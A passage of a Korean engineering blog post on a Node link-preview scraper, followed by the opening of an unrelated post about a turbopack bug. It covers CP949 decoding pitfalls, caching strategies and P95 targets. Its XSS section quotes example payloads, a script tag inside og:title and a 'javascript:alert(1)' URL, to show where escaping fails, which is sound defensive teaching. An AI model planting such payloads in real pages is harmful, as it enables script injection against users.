  const prescan = head.subarray(0, 1024).toString('latin1')
  const fromMeta = prescan.match(/<meta[^>]+charset\s*=\s*["']?([\w-]+)/i)?.[1]
  if (fromMeta) return fromMeta.toLowerCase()

  // 4. 여기까지 오면 그때 추론한다
  return 'utf-8'
}
```

3번에서 하필 `latin1`로 훑는 이유가 있다. 닭과 달걀 문제이기 때문이다. 인코딩을 알려면 meta 태그를 읽어야 하는데, meta 태그를 읽으려면 인코딩을 알아야 한다.

`latin1`이 이 고리를 끊어준다. 바이트와 문자가 1:1로 대응하고(0x00 ~ 0xFF가 U+0000 ~ U+00FF로), 어떤 바이트 열이 와도 예외를 던지지 않으며, ASCII 범위가 그대로 보존된다. `<meta charset="euc-kr">`은 전부 ASCII다. 손실 없이 훑어보기만 하는 용도이고, 실제 디코딩은 charset을 확정한 뒤 원본 바이트에 다시 한다. `utf-8`로 미리 훑으면 EUC-KR 바이트가 치환 문자로 바뀌면서 위치가 밀릴 수 있다.

### `euc-kr` 라벨의 함정

한국어권에서 특히 알아둘 만한 지점이다.

EUC-KR은 KS X 1001 완성형이고 한글 2,350자만 표현한다. CP949(UHC)는 그 확장으로 한글 11,172자 전부를 담는다. 그런데 현실의 HTML은 **CP949 문자를 쓰면서 `charset=euc-kr`이라고 선언**하는 경우가 많다. 엄격한 EUC-KR 디코더를 쓰면 확장 영역 글자가 깨진다.

[WHATWG Encoding Standard](https://encoding.spec.whatwg.org/#legacy-multi-byte-korean-encodings)는 이 현실을 반영해서 `euc-kr` 라벨을 CP949 확장까지 덮도록 정의한다. 그런데 Node의 내장 `TextDecoder`는 그 정의를 따르지 않는다.

파이썬으로 CP949 인코딩한 바이트를 `new TextDecoder('euc-kr')`에 넣어 확인한 결과다.

| 문자 | CP949 바이트 | 영역           | `TextDecoder` | `iconv-lite` |
| ---- | ------------ | -------------- | ------------- | ------------ |
| 한   | `c7d1`       | KS X 1001 기본 | `한`          | `한`         |
| 글   | `b1db`       | KS X 1001 기본 | `글`          | `글`         |
| 뷁   | `94ee`       | CP949 확장     | `�`           | `뷁`         |
| 똠   | `8c63`       | CP949 확장     | **`c`**       | `똠`         |
| 꼃   | `8458`       | CP949 확장     | **`X`**       | `꼃`         |
| 펲   | `bc84`       | CP949 확장     | `�`           | `펲`         |

라벨을 바꿔도 결과는 같다. `windows-949`와 `ks_c_5601-1987`도 동일하게 깨지고, `cp949` 라벨은 `RangeError`를 던진다.

여기서 정말 곤란한 것은 `똠`이 `c`가 되고 `꼃`이 `X`가 되는 쪽이다. 치환 문자(`�`)라면 눈에 띄기라도 하는데, **멀쩡해 보이는 다른 글자**가 되면 로그를 봐도 이상한 줄 모른다.

그래서 `iconv-lite`가 사실상 필수가 된다.

```ts
import iconv from 'iconv-lite'

function decode(bytes: Buffer, charset: string): string {
  if (iconv.encodingExists(charset)) {
    return iconv.decode(bytes, charset) // 'euc-kr', 'cp949' 둘 다 CP949로 처리한다
  }
  return iconv.decode(bytes, 'utf-8') // 모르는 라벨이면 UTF-8로 넘어간다
}
```

`encodingExists` 검사를 생략하면 안 된다. `charset="unicode"` 같은 값이 실제로 존재하고, 확인해 보면 `iconv.encodingExists('unicode')`는 `false`다. 이 경우를 잡지 않으면 예외가 그대로 올라온다.

앞에서 "인코딩은 Node가 불리한 지점"이라고 했던 게 이 자리다. JVM은 `Charset.forName("x-windows-949")` 한 줄로 표준 라이브러리 안에서 끝난다.

정리하면 이 버그의 진행은 이렇다. 응답은 200이고, og 태그도 정상적으로 있고, 파싱도 성공하고, 제목만 "똠방각하" 대신 "c방각하"가 된다. **어떤 계층에서도 에러가 발생하지 않는다.** 에러율 대시보드는 깨끗하고 알람도 울리지 않으며, 사용자가 제보하기 전까지 아무도 모른다. 뒤에서 커버리지(미리보기를 시도한 URL 중 실제로 성공한 비율)를 따로 재야 한다고 말할 텐데, 이유가 이것이다. 성공 응답 중에도 실패가 숨어 있다.

### `<head>`만 읽고 끊는다

og 태그는 대부분 `<head>` 안에 있다. `</head>`가 나오면 멈춰서 본문 전체를 받지 않을 수 있다. 트리를 만드는 `parse5`(앞에서 언급한 그 파서다) 대신, 조각을 그때그때 읽고 멈출 수 있는 스트리밍 파서인 `htmlparser2`를 쓴다.

```ts
import {Parser} from 'htmlparser2'

let headDone = false
const parser = new Parser({
  onopentag(name, attribs) {
    if (name === 'meta' && attribs.property?.startsWith('og:'))
      result[attribs.property] = attribs.content
  },
  onclosetag(name) {
    if (name === 'head') headDone = true
  },
})

for await (const chunk of res.body) {
  parser.write(decode(chunk))
  if (headDone) {
    res.body.destroy() // head가 끝나면 그 자리에서 수신을 끊는다
    break
  }
}
```

`parser.pause()`만으로는 다운로드가 멈추지 않는다. 파서가 콜백을 잠시 미룰 뿐 서버가 보내는 바이트는 계속 쌓이므로, 실제로 멈추려면 위처럼 응답 스트림을 `destroy()`로 끊어야 한다.

효과는 둘이다. 대부분의 페이지에서 앞 몇 KB만 읽으면 되니 빨라지고, [2편](/2026/08/og-scraping-server-2)에서 정할 응답 크기 상한에 도달할 일도 줄어든다.

다만 트레이드오프가 있다. og 태그가 드물게 `<head>` 밖으로 밀려난 페이지에서는 일찍 끊으면 그 값을 놓친다. 뒤에 나올 커버리지를 조금 깎는 셈이라, 커버리지가 더 중요하면 상한(512KB)까지 계속 읽는 선택도 된다.

한 가지 덧붙이면, EUC-KR 같은 멀티바이트 글자가 조각 경계에 걸릴 수 있어서 조각마다 바로 디코딩하면 글자가 깨진다. 실무에서는 head 구간을 모아 한 번에 디코딩하거나 `iconv` 스트림 디코더를 쓴다. 위 코드는 흐름을 보이려고 단순화했다.

## 스크랩해 온 값은 사용자 입력이다

여기서 방향이 한 번 바뀐다.

[2편](/2026/08/og-scraping-server-2)에서 지킬 것은 우리 서버가 **나가는** 방향이다. 남이 준 URL로 아무 데나 요청하지 않도록. 여기서 볼 것은 **가져온 값이 우리 화면으로 들어오는** 방향이다.

```mermaid
flowchart LR
    subgraph out["2편에서 지킬 것, 나가는 방향"]
        direction LR
        U1["사용자 URL"] --> S1["우리 서버"] --> X1["외부 사이트"]
    end

    subgraph inn["여기서 볼 것, 들어오는 방향"]
        direction LR
        X2["외부 사이트"] --> S2["우리 서버"] --> B["사용자 브라우저"]
    end
```

두 방향은 위험의 성격이 다른데 이유는 같다. 상대가 우리 편이 아니라는 것이다.

`og:title`을 누가 정하는가. 우리가 요청한 그 사이트다. 그 사이트는 아무 문자열이나 넣을 수 있고, 우리는 그 문자열을 받아서 우리 도메인의 화면에 그린다. 남이 쓴 글자가 우리 페이지 안에서 살아나는 셈이다.

폼 입력값을 검증하는 습관은 대체로 갖고 있는데, 스크래핑 결과는 "데이터를 가져온 것"처럼 느껴져서 그 습관이 잘 작동하지 않는 것 같다. `og:title`은 API 응답이 아니라 사용자 입력이다. 입력 필드에 넣지 않았을 뿐 신뢰도는 같다.

### 파서가 이미 디코딩해서 준다

여기서 오해가 하나 생긴다. HTML 속성 안에 있으니 `&lt;script&gt;` 같은 형태로 오리라는 생각이다. 그렇지 않다. 파서가 엔티티를 풀어서 준다.

```ts
const html =
  '<meta property="og:title" content="A &amp; B &lt;script&gt; &#48156;">'
```

이 문자열을 `htmlparser2`에 넣고 `attribs.content`를 받아보면 결과가 이렇다.

```text
opts= undefined                 -> "A & B <script> 발"
opts= {"decodeEntities":false}  -> "A &amp; B &lt;script&gt; &#48156;"
```

`decodeEntities`가 기본으로 켜져 있다. 꺾쇠는 이미 진짜 꺾쇠이고, **값 안에 태그가 들어 있는 상태로** 우리 손에 온다.

그러면 옵션을 끄면 되지 않느냐는 생각이 드는데, 이건 해법이 아니다. 정상적인 제목 `삼성 & LG`가 사용자에게 `삼성 &amp; LG`로 보이게 되고, 값을 그리는 자리가 HTML이 아닐 수도 있다. 모바일 앱, 슬랙 카드, 푸시 알림이 그런 자리다. 받는 단계에서 형태를 비틀어 막으려는 시도는 대체로 다른 곳을 망가뜨린다.

원칙은 이렇다. **막는 자리는 검증하는 자리가 아니라 쓰는 자리다.** 값은 디코딩된 원문 그대로 들고 있다가, 화면에 넣는 순간 그 자리에 맞게 처리한다. 2편에서 URL을 다룰 때도 같은 원칙이 반복된다.

### 자리마다 규칙이 다르다

"React를 쓰니까 안전하지 않나"라는 답은 절반만 맞다. React나 Vue는 텍스트 자리를 자동으로 이스케이프한다.

```tsx
<h3>{og.title}</h3> // 안전하다. <script>는 글자로 보인다
```

문제는 자동으로 처리되지 않는 자리가 생각보다 많다는 것이다.

```tsx
<div dangerouslySetInnerHTML={{__html: og.title}} />  // 위험하다
<a href={og.url}>                                     // 스킴 검사가 필요하다
<img src={og.image} />                                // 아래에서 따로 본다
```

그리고 화면 밖은 프레임워크의 보호가 아예 닿지 않는다. 서버에서 문자열로 조립하는 이메일 HTML, 슬랙이나 디스코드 카드, OG 이미지를 SVG로 만들어 굽는 코드, `innerHTML`을 직접 쓰는 오래된 화면 같은 것들이다. "우리는 React를 쓴다"보다는 그 값이 지나가는 자리를 전부 세어봤는가가 답에 가깝다.

같은 문자열이라도 어디에 넣느냐에 따라 위험한 글자가 달라진다.

| 넣는 자리        | 예                     | 필요한 처리                              |
| ---------------- | ---------------------- | ---------------------------------------- |
| HTML 텍스트      | `<h3>여기</h3>`        | `< > & " '` 이스케이프 (프레임워크 담당) |
| HTML 속성        | `<img alt="여기">`     | 이스케이프에 더해 반드시 따옴표로 감싸기 |
| URL 자리         | `<a href="여기">`      | 스킴 검사. 이스케이프로는 부족하다       |
| 쿼리스트링       | `?q=여기`              | `encodeURIComponent`                     |
| 스크립트 안 JSON | `<script>window.__D=…` | 그 자리 자체를 피한다                    |

세 번째가 특히 헷갈리는 자리다. `javascript:alert(1)`은 이스케이프해도 여전히 `javascript:`다. 특수문자가 없기 때문이다. 이스케이프는 글자를 글자로 만드는 처리라서, 주소가 주소로 해석되는 문제는 막지 못한다.

### `og:image`는 문자열이 아니라 주소다

`og:image`는 화면에 그리기 전에 한 번 더 생각할 값이다. 이유가 셋이다.

스킴이 http나 https라는 보장이 없다. `data:`로 수십 MB짜리 이미지를 박아 넣을 수 있고, 상대 경로면 최종 URL 기준으로 풀어야 한다.

그대로 브라우저에 넘기면 상대 서버가 우리 사용자를 보게 된다. 우리 페이지를 여는 모든 사용자의 IP와 User-Agent가 그 사이트 로그에 남는다.

그렇다고 우리 서버가 대신 받아오면 [2편](/2026/08/og-scraping-server-2)의 문제가 그대로 재현된다. 이미지 프록시는 결국 사용자 입력 URL을 서버가 여는 일이라, 2편에서 다룰 검증을 통째로 다시 적용해야 한다.

셋 중 무엇을 고르든 답이 된다. 다만 고르지 않고 넘어가는 것은 답이 아니다.

마지막으로 사소해 보이지만 실제로 겪게 되는 것들이 있다. `og:title`이 수백 KB로 오는 경우가 있어서 저장 전에 자르는 편이 낫고(200자 안팎이면 충분하다), 같은 `og:` 태그가 여러 번 나올 때 어느 것을 쓸지 정해서 문서화해야 한다(먼저 나온 것으로 정하는 쪽이 무난하다). 값이 빈 문자열인 경우와 태그 자체가 없는 경우는 구분해야 하는데, 뒤에 나올 negative caching에서 둘의 수명이 다르기 때문이다. 제어문자와 줄바꿈을 걸러내지 않으면 로그와 카드 레이아웃이 같이 깨진다. 자르는 위치도 조심할 필요가 있다. UTF-16 기준으로 자르면 이모지가 반토막 난다.

2편에서는 꽤 긴 분량을 들여 "남이 준 URL을 믿지 말라"고 말하게 된다. 여기서 본 것은 그 반대쪽이다. 그 URL이 돌려준 답도 남이 쓴 것이다.

## 캐시는 무엇을 고치고 무엇을 못 고치는가

앞에서 미뤄둔 이야기를 정리할 차례다.

| 지표                               | 캐시의 효과         |
| ---------------------------------- | ------------------- |
| 외부 서버로 나가는 요청 수         | 크게 준다           |
| 캐시 히트 시 응답 시간             | 수백 ms에서 수 ms로 |
| API 전체 에러율                    | 부분적이다          |
| URL 커버리지 (성공 URL / 시도 URL) | 개선되지 않는다     |

에러율이 "부분적"인 이유는 캐시가 같은 URL이 반복돼서 생기는 실패(rate limit, 일시적 장애)만 줄이기 때문이다. 403이나 로그인 벽, 인코딩처럼 그 URL이면 늘 실패하는 것은 negative caching으로 캐시해도 여전히 실패 응답이라, 에러율 숫자는 내려가지 않는다.

마지막 줄이 핵심이다. 처음 보는 URL은 언제나 캐시 미스이고, 그때 실패하면 사용자는 여전히 깨진 카드를 본다.

그래서 목표를 두 개로 쪼갠다.

```text
① API 에러율   = 실패 응답 / 전체 API 요청          ← 반복 요청발 실패만 캐시로 개선된다
② 커버리지     = 성공한 고유 URL / 시도한 고유 URL   ← 스크래핑 품질로 개선된다
```

①만 목표로 잡으면 캐시 히트율이 오르는 것만으로 숫자가 좋아진다. 사용자 경험은 그대로인데 지표만 좋아지는 전형적인 함정이다. ②를 올리려면 UA 조정, 리다이렉트 처리, 인코딩 대응처럼 이 글의 앞부분에서 다룬 것들을 해야 한다.

### 스탬피드의 정의를 바로잡기

흔히 "캐시가 만료되어 DB에 요청이 몰리는 현상"이라고 설명하는데, 스크래핑 서버에서 뒷단은 DB가 아니라 외부 사이트다. 정확히 쓰면 이렇게 된다.

> 어떤 캐시 키가 만료되는 순간, 그 키를 기다리던 동시 요청이 전부 원본으로 나가는 현상

인기 있는 링크일수록 심하고, **상대는 그걸 공격으로 인식한다.**

```mermaid
flowchart TB
    T["캐시 만료"] --> R["요청 50건이 한꺼번에 도착한다<br/>전부 캐시 미스"]
    R --> O["50건이 그대로 외부로 나간다"]
    O --> B["외부 서버가 보기엔<br/>같은 IP에서 50건이다"]
    B --> E["429 또는 403"]
    E --> F["50건 전부 실패"]
    F -. "실패를 캐시하지 않으면 다음 초에 또" .-> R
```

캐시를 넣었는데 에러율이 오르는 상황이 실제로 생긴다. 그래서 캐시는 넣는 것보다 어떻게 넣는가가 중요하다.

앞에서 계산한 평시 규모(0.06 TPS)로는 이런 순간이 잘 오지 않는다. 문제는 평균이 아니라 인기 링크 하나에 트래픽이 확 몰리는 순간이고, 위의 "50건"은 그 순간을 그린 것이다.

### 그 전에 캐시 키부터

캐시를 논하기 전에 "같은 URL"이 무엇인지 정해야 한다. 아래는 사람 눈에는 같은 페이지지만 문자열로는 전부 다르다.

```text
https://Example.com/a?b=1&c=2
https://example.com/a?c=2&b=1
https://example.com/a?b=1&c=2#section
https://example.com/a?b=1&c=2&utm_source=twitter
```

정규화 없이 URL을 그대로 키로 쓰면 이 넷이 각각 따로 캐시된다. 히트율이 떨어지고, 뒤에 나올 single-flight도 같은 키로 묶지 못해 스탬피드 방어가 헐거워진다.

최소한 이 정도는 맞춰두는 편이 낫다. `#fragment` 제거(서버 응답과 무관하다), 호스트 소문자화, `utm_*` 같은 알려진 추적 파라미터 제거(임의의 파라미터는 내용이 달라질 수 있으니 건드리지 않는다), 쿼리 파라미터 정렬이다.

[2편](/2026/08/og-scraping-server-2)에 나올 "주소 정규화를 직접 하지 말라"와 헷갈리기 쉬운데, 목적이 다르다. 보안 검사에는 원문을 쓰고(`BlockList`가 판단한다), 캐시 키에는 정규화본을 쓴다. 목적이 다르니 규칙도 다르다.

### 대응 세 가지

첫 번째는 single-flight다. 같은 키의 동시 요청 중 하나만 원본으로 보내고 나머지는 그 결과를 공유한다.

```ts
const inflight = new Map<string, Promise<OgResult>>()

function once(key: string, fn: () => Promise<OgResult>) {
  const running = inflight.get(key)
  if (running) return running // 이미 누가 가져오는 중이다

  const p = fn().finally(() => inflight.delete(key))
  inflight.set(key, p)
  return p
}
```

가장 싸고 효과가 크다. 50건이 1건이 된다. 한계는 프로세스 안에서만 동작한다는 것이고(인스턴스가 N개면 최대 N건이 나간다), 대표 1건이 실패하면 대기하던 나머지도 같은 실패를 받는다는 것이다. 실패 공유가 곤란하면 성공만 공유하는 변형을 쓴다.

두 번째는 stale-while-revalidate다. 만료된 값을 일단 돌려주고 갱신은 백그라운드에서 한다.

```mermaid
flowchart TB
    R["요청 도착"] --> Q{"캐시에 값이 있는가"}
    Q -- "있다. 다만 만료됐다" --> A["일단 그 값을 즉시 반환<br/>사용자 대기 0ms"]
    A --> C["백그라운드로 갱신 시작"]
    Q -- "없다" --> M["원본에서 가져온다<br/>여기서만 기다린다"]
```

OG 데이터는 몇 분 낡아도 큰 문제가 없어서, 이 워크로드에 잘 맞는 전략이다. single-flight과 같이 쓰면 백그라운드 갱신도 키당 1건으로 묶인다.

세 번째는 negative caching이다. 실패도 캐시해야 한다. 이게 빠지면 실패 URL이 매 요청마다 외부로 나가고, 에러율이 10%인 상황에서 이건 꽤 큰 누수다.

```ts
function ttlFor(result: OgResult): number {
  if (result.ok) return 60 * 60 // 성공: 1시간

  switch (result.reason) {
    case 'NOT_FOUND':
      return 60 * 30 // 404는 잘 안 바뀐다
    case 'FORBIDDEN':
      return 60 * 10 // 봇 차단. 정책이 바뀌면 풀릴 수 있어 404보다 짧게
    case 'RATE_LIMITED':
      return result.retryAfter ?? 60 // Retry-After를 존중한다
    case 'TIMEOUT':
      return 30 // 일시적일 수 있으니 짧게
    default:
      return 60
  }
}
```

실패 종류별로 TTL을 나누는 이유는, 전부 같은 TTL을 주면 둘 중 하나가 잘못되기 때문이다. 짧게 통일하면 404처럼 잘 안 바뀔 실패를 계속 재시도하게 되고, 길게 통일하면 일시적인 타임아웃 때문에 멀쩡한 링크가 오래 죽어 있게 된다. 실패의 성질이 다르니 수명도 달라야 한다. 앞에서 실패를 원인별로 분류하라고 한 것이 여기서 쓰인다. 원인 분류는 관측만을 위한 게 아니라 설계 결정의 입력이다.

### 로컬 캐시가 무너지는 지점

`Map` 하나로 만든 인메모리 캐시는 인스턴스가 하나일 때만 잘 동작한다.

| 항목                             | 인스턴스 1개 | 인스턴스 N개 (균등 라우팅)     |
| -------------------------------- | ------------ | ------------------------------ |
| 같은 URL이 같은 캐시를 만날 확률 | 100%         | 약 1/N                         |
| 외부로 나가는 요청               | 1건          | 최대 N건                       |
| 배포 시                          | 캐시 소실    | 캐시 소실                      |
| 오토스케일 아웃                  | 해당 없음    | 새 인스턴스는 캐시가 비어 있다 |

"인메모리 캐싱을 적용한다"와 "다중 인스턴스로 운영한다"는 같이 쓰면 서로를 갉아먹는다.

그렇다고 항상 Redis인 것은 아니다. 판단 기준은 인스턴스 수와 고유 URL 분포다.

| 상황                        | 권장                                   |
| --------------------------- | -------------------------------------- |
| 인스턴스 1~2개, 트래픽 작음 | 로컬 캐시로 충분하다. Redis는 과설계다 |
| 인스턴스 3개 이상           | 분산 캐시를 검토                       |
| 인기 URL이 소수에 집중      | 2계층(로컬 + Redis)이 효율적이다       |
| 배포가 잦음                 | 분산 캐시. 로컬은 배포마다 비워진다    |

2계층 구성이 실무에서 가장 흔하다고 알고 있다. 로컬이 자주 찾는 키를 흡수하고 Redis가 나머지를 받는 형태다.

## "P95 1초 미만"은 달성 가능한 목표인가

목표를 이렇게 쓰는 경우가 많다.

> 응답 시간을 P95 기준 1초 미만으로 줄인다

나쁜 목표는 아닌데, 달성 가능한지 계산해 본 적이 있는가를 먼저 물어볼 만하다. 그리고 계산할 수 있다. 필요한 건 캐시 히트율 하나다.

캐시 히트는 항상 빠르다고 하고(대략 5ms), 히트율을 `h`라 한다. 전체 요청을 지연 순으로 정렬하면 앞쪽 `h` 비율이 히트 구간이다.

`h`가 0.95보다 크면 95번째 백분위가 히트 구간 안에 들어오므로 P95는 5ms 언저리가 되고 목표는 자동으로 달성된다. `h`가 0.95보다 작으면 P95는 미스 구간에 있고, 미스 분포에서 몇 번째 백분위인지는 이렇게 나온다.

```text
q = (0.95 - h) / (1 - h)
```

`q`는 외부 서버 응답 시간 분포에서 우리가 만족시켜야 하는 분위수다.

| 히트율 `h` | 필요한 분위수 `q` | 무엇을 만족해야 하는가                          |
| ---------- | ----------------- | ----------------------------------------------- |
| 0.96 이상  | 해당 없음         | 목표 자동 달성 (P95가 히트 구간 안에 있다)      |
| 0.95       | 경계              | 근소한 변동으로 미스 구간에 걸린다. 여유가 없다 |
| 0.90       | 0.500             | 외부 응답 중앙값이 1초 미만이어야 한다          |
| 0.80       | 0.750             | 외부 P75가 1초 미만이어야 한다                  |
| 0.70       | 0.833             | 외부 P83이 1초 미만이어야 한다                  |
| 0.50       | 0.900             | 외부 P90이 1초 미만이어야 한다                  |

이 공식이 실제로 맞는지 200만 건 시뮬레이션으로 확인했다. 외부 응답 시간을 로그정규 분포(중앙값 400ms)로 두고, 히트율별로 전체 분포의 P95와 공식이 지목한 미스 분포의 `q` 분위수를 비교한 결과다.

| 히트율 `h` | 공식 `q`  | 시뮬레이션 P95 | 공식이 지목한 값 | 오차  |
| ---------- | --------- | -------------- | ---------------- | ----- |
| 0.96       | 해당 없음 | 5.0ms          | 5.0ms            | 0.00% |
| 0.90       | 0.500     | 400.6ms        | 400.1ms          | 0.13% |
| 0.80       | 0.750     | 733.9ms        | 734.2ms          | 0.04% |
| 0.70       | 0.833     | 953.2ms        | 953.2ms          | 0.01% |
| 0.50       | 0.900     | 1265.7ms       | 1265.6ms         | 0.01% |

오차가 0.13% 이내로 일치한다. 분포 모양을 바꿔도 마찬가지인데, 공식이 특정 분포를 가정하지 않고 순전히 분위수의 위치만 따지기 때문이다.

여기서 눈여겨볼 것은 표의 오른쪽 칸이 **우리가 통제할 수 없는 값**이라는 점이다. 상대 서버의 응답 시간이다. 히트율이 낮을수록 목표 달성 여부가 남의 손에 넘어간다. 그러니 "P95 1초"를 약속하기 전에 히트율을 약속할 수 있는지부터 물어보는 순서가 맞다.

히트율은 고유 URL 비율에서 나온다.

```text
히트율 ≈ 1 - (TTL 기간 내 고유 URL 수 / TTL 기간 내 전체 요청 수)
```

이 숫자는 지금 당장 측정할 수 있다. 액세스 로그에서 URL을 세기만 하면 된다.

```bash
# TTL을 1시간으로 잡았을 때의 상한 추정
# $7 은 URL이 들어 있는 칸 번호다. 자기 로그 포맷에 맞는 번호로 바꾼다
cat access.log | grep og_scrape | awk '{print $7}' \
  | sort | uniq -c | awk '{total+=$1; uniq++} END {print 1 - uniq/total}'
```

이 한 줄을 돌려보기 전에 P95 목표를 정하면, 그 목표에 근거가 없는 셈이 된다.

그래서 목표는 이렇게 쓰는 편이 낫다. 나쁜 목표는 이런 모양이다.

> 에러율을 5% 미만으로, P95를 1초 미만으로 줄인다

근거를 붙이면 이렇게 바뀐다.

> **선행 측정**: 실패 원인별 비율, 상위 실패 도메인, 1시간 TTL 기준 고유 URL 비율
>
> **목표 1 (커버리지)**: 시도한 고유 URL 중 미리보기 성공 비율을 현재 `X%`에서 `Y%`로. 주 수단은 UA 조정과 리다이렉트 처리이고 캐시가 아니다
>
> **목표 2 (지연)**: 캐시 히트율 `0.85` 달성 시 P95 `Z ms`. 히트율이 `0.8` 미만이면 P95 목표를 재설정한다
>
> **비목표**: 동적 렌더링 지원, 이미지 재호스팅

차이는 숫자가 아니라 근거의 유무다.

## 설계 체크리스트

두 편에 흩어진 것을 한자리에 모으면 이렇게 된다. 보안 항목의 근거는 [2편](/2026/08/og-scraping-server-2)에서 하나씩 나온다.

**보안 ([2편](/2026/08/og-scraping-server-2))**

- 스킴, 포트, URL 자격증명 검사
- IP 리터럴을 URL 검증 단계에서 판정 (IPv6는 대괄호를 벗기고)
- DNS 해석 IP를 대역 검사 (IPv4와 IPv6 모두)
- 주소 정규화를 직접 하지 않기. `BlockList`에 원문 그대로 넘긴다
- 검사한 IP로 직접 연결 (`lookup` 훅, 배열을 반환한다)
- `fetch()` 대신 `undici.request()`. 리다이렉트 기본 동작이 다르다
- 리다이렉트 홉마다 전체 검증 반복
- 응답 크기 상한은 실제 읽은 바이트로
- 단계별 타임아웃에 더해 체인 전체 상한
- 보안그룹 아웃바운드 차단, IMDSv2 강제
- 우회 케이스를 테스트로 명세화 (16진 IPv4-mapped, NAT64, 경계값)

**스크래핑과 출력**

- UA 정책 결정하고 사칭 여부를 문서화
- BOM, HTTP charset, meta 미리 훑기, 추론 순서 지키기
- `iconv-lite` 사용. 내장 `TextDecoder`는 CP949 확장을 못 읽는다
- `encodingExists`로 미지 라벨 폴백
- `</head>`에서 파싱 중단 (커버리지와의 트레이드오프를 인지하고)
- 스크랩 결과를 사용자 입력과 같은 등급으로 취급
- 값이 지나가는 자리를 전부 세기 (화면, 이메일, 슬랙 카드, OG 이미지, 로그)
- URL 자리는 이스케이프가 아니라 스킴 검사로
- 길이 상한과 중복 태그 규칙 정하기

**캐싱과 목표**

- single-flight
- stale-while-revalidate
- negative caching (실패 종류별 TTL)
- 캐시 키 정규화
- 인스턴스 수에 맞는 캐시 계층 선택
- 실패 원인별 비율을 먼저 측정
- 고유 URL 비율에서 히트율 추정
- 에러율을 API 에러율과 커버리지로 분리
- P95 목표를 히트율에서 역산해 검증

## 결국 조건을 권하는 이야기였다

이 글은 Node를 권하기보다 조건을 권하는 쪽에 가까웠다.

고를 만한 조건은 프론트엔드 조직이 이 기능을 소유하고 변경이 잦을 때, 사내에 Node 배포와 모니터링 경로가 이미 있을 때, SSRF 통제를 애플리케이션 코드로 명시하고 싶을 때다. 반대로 사내 표준 런타임이 JVM 하나뿐이고, 새벽에 깨는 사람이 백엔드 조직이고, 트래픽이 1 TPS 미만이라면 다시 생각해 볼 만하다. 마지막 항목은 Node를 버리라는 신호라기보다 **서버를 따로 두지 말라는 신호**에 가깝고, 실무에서 가장 자주 무시되는 항목이라고 생각한다. 분리하지 않는 것도 선택지다.

이 글 전체에서 반복된 형태가 하나 있다. 증상을 원인으로 착각하지 않는 것이다. "에러율이 높다"는 증상이고 원인은 403일 수도 인코딩일 수도 있다. "느리다"도 증상이고 원인은 히트율일 수도 외부 응답일 수도 있다. "Node가 좋다"나 "나쁘다"는 결론이고 조건이 근거다. 그리고 [2편](/2026/08/og-scraping-server-2)에서 보겠지만, "화이트리스트로 막는다"는 선언이고 어떤 우회를 막는지가 근거다.

그리고 이 시리즈를 쓰면서 개인적으로 가장 크게 배운 것은 다른 데 있다. 글을 다 쓰고 코드를 전부 돌려봤더니 처음에 그럴듯하게 적어둔 것 중 넷이 틀렸다. 셋은 [2편](/2026/08/og-scraping-server-2)의 SSRF 코드에 있었고, 나머지 하나가 이 글의 것이다.

| 처음에 쓴 것                            | 돌려본 결과                                  |
| --------------------------------------- | -------------------------------------------- |
| 내장 `TextDecoder('euc-kr')`면 충분하다 | CP949 확장이 깨진다. `iconv-lite`가 필요하다 |

여기에 더해, 2편에서 SSRF 방어의 핵심 장치로 세워둔 `lookup` 훅이 호스트가 IP 리터럴일 때 아예 호출되지 않는다는 것도 확인차 돌려보다가 알게 됐다.

그럴듯한 코드와 동작하는 코드는 다르고, 그 차이는 대체로 돌려봤는가에서 온다. 근거를 적을 수 없는 결정은 아직 결정이 아니라는 말도 같은 이야기라고 생각한다.

직접 확인해 볼 수 있는 최소 코드는 이 정도다.

```bash
npm i iconv-lite

# CP949 확장 문자
node -e "const b=Buffer.from('94ee','hex');
console.log('TextDecoder:',new TextDecoder('euc-kr').decode(b));
console.log('iconv-lite :',require('iconv-lite').decode(b,'euc-kr'))"
```

기대 출력은 각각 `�`와 `뷁`이다. 앞은 에러를 내지 않는다. 200 응답에 og 태그도 멀쩡하고 값만 틀린다.

남은 것은 앞에서 미뤄둔 한 자리, 소켓 직전까지의 통제권이다. [2편](/2026/08/og-scraping-server-2)에서 사용자가 준 URL을 서버가 대신 여는 일이 왜 위험한지, 화이트리스트를 뚫는 우회 여섯 가지와 그것을 막는 방어 원리 다섯 개를 실측과 함께 다룬다.

## 참고

- [WHATWG HTML Standard, Parsing HTML documents](https://html.spec.whatwg.org/multipage/parsing.html)
- [WHATWG HTML Standard, Determining the character encoding](https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding)
- [WHATWG Encoding Standard, Legacy multi-byte Korean encodings](https://encoding.spec.whatwg.org/#legacy-multi-byte-korean-encodings)
- [WHATWG URL Standard](https://url.spec.whatwg.org/)
- [undici Dispatcher / Agent 문서](https://undici.nodejs.org/#/docs/api/Agent)
- [parse5](https://github.com/inikulin/parse5)
- [htmlparser2](https://github.com/fb55/htmlparser2)
- [iconv-lite](https://github.com/ashtuchkin/iconv-lite)
- [The Open Graph protocol](https://ogp.me/)
- [OWASP, Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [RFC 5861, stale-while-revalidate](https://www.rfc-editor.org/rfc/rfc5861)
- Vattani et al., Optimal Probabilistic Cache Stampede Prevention (VLDB 2015). 본문에 담지 않은 확률적 조기 갱신(XFetch)을 다룬다. 다중 인스턴스에서 single-flight의 한계를 보완한다

---

Source: https://yceffort.kr/2026/08/turbopack-scope-hoisting-singleton-split.md
Title: Next.js turbopack에서 <em>싱글톤이 두 개</em>가 됐다: scope hoisting 버그와 순환 import
Description: Next.js 16 turbopack 프로덕션 빌드에서 모듈 스코프 싱글톤이 런타임에 두 개가 됐다. 같은 동기 구간에서 조건 판정이 뒤집히고, 응답이 도착해도 타임아웃이 나는 증상을 번들 산출물로 추적한 기록. scope hoisting의 부분 병합, 순환 import, 이미 고쳐져 있던 upstream 버그, 그리고 뒤늦게 돌린 단일 변수 실험까지.
Date: 2026-08-19
Tags: turbopack, nextjs, bundler, javascript, singleton, debugging

## Table of Contents

## 코드상 불가능한 관측

이런 분기가 있다. 실시간 연결을 관리하는 사내 공통 패키지의 전송 함수인데, 연결이 준비되지 않았으면 요청을 큐에 쌓는 평범한 코드다.

```ts
if (!socket.client || !isSocketOpen()) {
  // 연결이 없거나 닫혀 있으면 큐에 적재
}
```

